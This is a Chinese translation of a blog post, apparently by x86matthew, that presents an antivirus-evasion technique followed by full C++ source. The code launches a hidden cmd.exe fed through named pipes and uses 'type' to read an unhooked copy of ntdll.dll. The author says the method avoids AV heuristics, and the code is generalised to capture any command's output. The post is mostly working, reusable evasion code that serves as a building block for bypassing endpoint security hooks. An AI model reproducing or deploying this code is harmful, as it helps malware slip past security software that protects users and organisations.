NtdllPipe – 使用 cmd.exe 检索干净版本的 ntdll.dll

原文链接:https://www.x86matthew.com/view_post?id=ntdll_pipe

我最近使用了一台安装了 AV 软件的计算机,该软件将用户模式挂钩注入到ntdll.dll中的各种函数中。我不了解现代 AV 软件的运行方式,所以我决定看看这是多么容易克服。

最明显的方法是使用CreateFile和ReadFile从磁盘读取ntdll.dll,但这会触发 AV 启发式引擎。 我的下一个想法是使用受信任的 Microsoft 可执行文件为我完成这项工作 – 一个候选者是cmd.exe。 我使用CreateProcess创建了一个隐藏的带有stdin的cmd.exe进程

重定向到我的程序中的自定义命名管道。我还为ntdll.dll输出内容创建了一个单独的命名管道。使用WriteFile将类型 %windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe发送到自定义标准输入管道,然后将ntdll.dll的内容写入我的输出管道,我读取并存储在缓冲区中. 这种简单的方法没有触发任何 AV 警告。

这可以通过删除标准输入重定向并使用初始参数中的 type 命令启动 cmd.exe 来稍微简化( cmd.exe / c type % windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe),但这看起来更可疑。

我已经清理了代码,以便可以轻松地使用它来读取任何命令的输出内容。

完整代码如下:

// NtdllPipe.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <stdio.h>
#include <windows.h>

struct BackgroundConsoleInstanceStruct
{
	char szInstanceName[128];
	HANDLE hConsoleProcess;
	HANDLE hConsoleInputPipe;
};

struct CommandOutput_StoreDataParamStruct
{
	BYTE* pOutputPtr;
	DWORD dwMaxOutputSize;
	DWORD dwTotalSize;
};

DWORD BackgroundConsole_Create(const char* pInstanceName, BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance)
{
	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szConsoleInputPipeName[512];
	char szLaunchCmd[1024];
	BackgroundConsoleInstanceStruct BackgroundConsoleInstance;
	HANDLE hConsoleInputPipe;

	// create console input pipe
	memset(szConsoleInputPipeName, 0, sizeof(szConsoleInputPipeName));
	_snprintf(szConsoleInputPipeName, sizeof(szConsoleInputPipeName) - 1, "\\\\.\\pipe\\BackgroundConsoleIn_%s", pInstanceName);
	hConsoleInputPipe = CreateNamedPipe(szConsoleInputPipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
	if (hConsoleInputPipe == INVALID_HANDLE_VALUE)
	{
		// error
		return 1;
	}

	// initialise startupinfo
	memset(&StartupInfo, 0, sizeof(StartupInfo));
	StartupInfo.cb = sizeof(StartupInfo);
	StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
	StartupInfo.wShowWindow = SW_HIDE;

	// create launch cmd
	memset(szLaunchCmd, 0, sizeof(szLaunchCmd));
	_snprintf(szLaunchCmd, sizeof(szLaunchCmd) - 1, "cmd /c cmd < %s", szConsoleInputPipeName);

	// launch cmd.exe
	if (CreateProcess(NULL, szLaunchCmd, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0)
	{
		// error
		CloseHandle(hConsoleInputPipe);
		return 1;
	}

	// close thread handle
	CloseHandle(ProcessInfo.hThread);

	// wait for cmd.exe to connect to input pipe
	if (ConnectNamedPipe(hConsoleInputPipe, NULL) == 0)
	{
		// error
		CloseHandle(hConsoleInputPipe);
		CloseHandle(ProcessInfo.hProcess);
		return 1;
	}

	// store background console entry data
	memset((void*)&BackgroundConsoleInstance, 0, sizeof(BackgroundConsoleInstance));
	strncpy(BackgroundConsoleInstance.szInstanceName, pInstanceName, sizeof(BackgroundConsoleInstance.szInstanceName) - 1);
	BackgroundConsoleInstance.hConsoleProcess = ProcessInfo.hProcess;
	BackgroundConsoleInstance.hConsoleInputPipe = hConsoleInputPipe;
	memcpy((void*)pBackgroundConsoleInstance, (void*)&BackgroundConsoleInstance, sizeof(BackgroundConsoleInstance));

	return 0;
}

DWORD BackgroundConsole_Close(BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance)
{
	// close console input pipe
	CloseHandle(pBackgroundConsoleInstance->hConsoleInputPipe);

	// wait for console process to end
	WaitForSingleObject(pBackgroundConsoleInstance->hConsoleProcess, INFINITE);
	CloseHandle(pBackgroundConsoleInstance->hConsoleProcess);

	return 0;
}

DWORD BackgroundConsole_Exec(BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance, const char* pCommand, DWORD(*pCommandOutput)(BYTE* pBufferData, DWORD dwBufferLength, BYTE* pParam), BYTE* pCommandOutputParam)
{
	char szWriteCommand[2048];
	char szCommandOutputPipeName[512];
	HANDLE hCommandOutputPipe = NULL;
	BYTE bReadBuffer[1024];
	DWORD dwBytesRead = 0;

	// create output pipe
	memset(szCommandOutputPipeName, 0, sizeof(szCommandOutputPipeName));
	_snprintf(szCommandOutputPipeName, sizeof(szCommandOutputPipeName) - 1, "\\\\.\\pipe\\BackgroundConsoleOut_%s", pBackgroundConsoleInstance->szInstanceName);
	hCommandOutputPipe = CreateNamedPipe(szCommandOutputPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
	if (hCommandOutputPipe == INVALID_HANDLE_VALUE)
	{
		// error
		return 1;
	}

	// write command to console
	memset(szWriteCommand, 0, sizeof(szWriteCommand));
	_snprintf(szWriteCommand, sizeof(szWriteCommand) - 1, "%s > %s\n", pCommand, szCommandOutputPipeName);
	if (WriteFile(pBackgroundConsoleInstance->hConsoleInputPipe, szWriteCommand, strlen(szWriteCommand), NULL, NULL) == 0)
	{
		// error
		CloseHandle(hCommandOutputPipe);
		return 1;
	}

	// wait for target to connect to output pipe
	if (ConnectNamedPipe(hCommandOutputPipe, NULL) == 0)
	{
		// error
		CloseHandle(hCommandOutputPipe);
		return 1;
	}

	// get data from output pipe
	for (;;)
	{
		// read data from stdout pipe (ensure the buffer is null terminated in case this is string data)
		memset(bReadBuffer, 0, sizeof(bReadBuffer));
		if (ReadFile(hCommandOutputPipe, bReadBuffer, sizeof(bReadBuffer) - 1, &dwBytesRead, NULL) == 0)
		{
			// failed - check error code
			if (GetLastError() == ERROR_BROKEN_PIPE)
			{
				// pipe closed
				break;
			}
			else
			{
				// error
				CloseHandle(hCommandOutputPipe);
				return 1;
			}
		}

		// send current buffer to output function
		if (pCommandOutput(bReadBuffer, dwBytesRead, pCommandOutputParam) != 0)
		{
			// error
			CloseHandle(hCommandOutputPipe);
			return 1;
		}
	}

	// close handle
	CloseHandle(hCommandOutputPipe);

	return 0;
}

DWORD CommandOutput_StoreData(BYTE* pBufferData, DWORD dwBufferLength, BYTE* pParam)
{
	CommandOutput_StoreDataParamStruct* pCommandOutput_StoreDataParam = NULL;

	// get param
	pCommandOutput_StoreDataParam = (CommandOutput_StoreDataParamStruct*)pParam;

	// check if an output buffer was specified
	if (pCommandOutput_StoreDataParam->pOutputPtr != NULL)
	{
		// validate length
		if (dwBufferLength > (pCommandOutput_StoreDataParam->dwMaxOutputSize - pCommandOutput_StoreDataParam->dwTotalSize))
		{
			return 1;
		}

		// copy data
		memcpy((void*)(pCommandOutput_StoreDataParam->pOutputPtr + pCommandOutput_StoreDataParam->dwTotalSize), pBufferData, dwBufferLength);
	}

	// increase output size
	pCommandOutput_StoreDataParam->dwTotalSize += dwBufferLength;

	return 0;
}

// www.x86matthew.com
int main()
{
	BackgroundConsoleInstanceStruct BackgroundConsoleInstance;
	CommandOutput_StoreDataParamStruct CommandOutput_StoreDataParam;
	BYTE* pNtdllCopy = NULL;
	DWORD dwAllocSize = 0;

	printf("Creating hidden cmd.exe process...\n");

	// create background console
	if (BackgroundConsole_Create("mytest", &BackgroundConsoleInstance) != 0)
	{
		return 1;
	}

	printf("Retrieving ntdll file size...\n");

	// call the function with a blank output buffer to retrieve the file size
	memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreDataParam));
	CommandOutput_StoreDataParam.pOutputPtr = NULL;
	CommandOutput_StoreDataParam.dwMaxOutputSize = 0;
	CommandOutput_StoreDataParam.dwTotalSize = 0;
	if (BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32\\ntdll.dll", CommandOutput_StoreData, (BYTE*)&CommandOutput_StoreDataParam) != 0)
	{
		return 1;
	}

	printf("ntdll.dll file size: %u bytes - allocating memory...\n", CommandOutput_StoreDataParam.dwTotalSize);

	// allocate memory
	dwAllocSize = CommandOutput_StoreDataParam.dwTotalSize;
	pNtdllCopy = (BYTE*)malloc(dwAllocSize);
	if (pNtdllCopy == NULL)
	{
		return 1;
	}

	printf("Reading ntdll.dll data from disk...\n");

	// call the function again to read the file contents
	memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreDataParam));
	CommandOutput_StoreDataParam.pOutputPtr = pNtdllCopy;
	CommandOutput_StoreDataParam.dwMaxOutputSize = dwAllocSize;
	CommandOutput_StoreDataParam.dwTotalSize = 0;
	if (BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32\\ntdll.dll", CommandOutput_StoreData, (BYTE*)&CommandOutput_StoreDataParam) != 0)
	{
		return 1;
	}

	printf("Read %u bytes successfully\n", CommandOutput_StoreDataParam.dwTotalSize);

	// (pNtdllCopy now contains a copy of ntdll)

	// clean up
	free(pNtdllCopy);
	BackgroundConsole_Close(&BackgroundConsoleInstance);

	return 0;
}

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注